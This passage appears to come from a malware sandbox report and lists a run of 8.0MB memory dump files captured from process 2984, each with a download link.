memory/2984-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2984-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download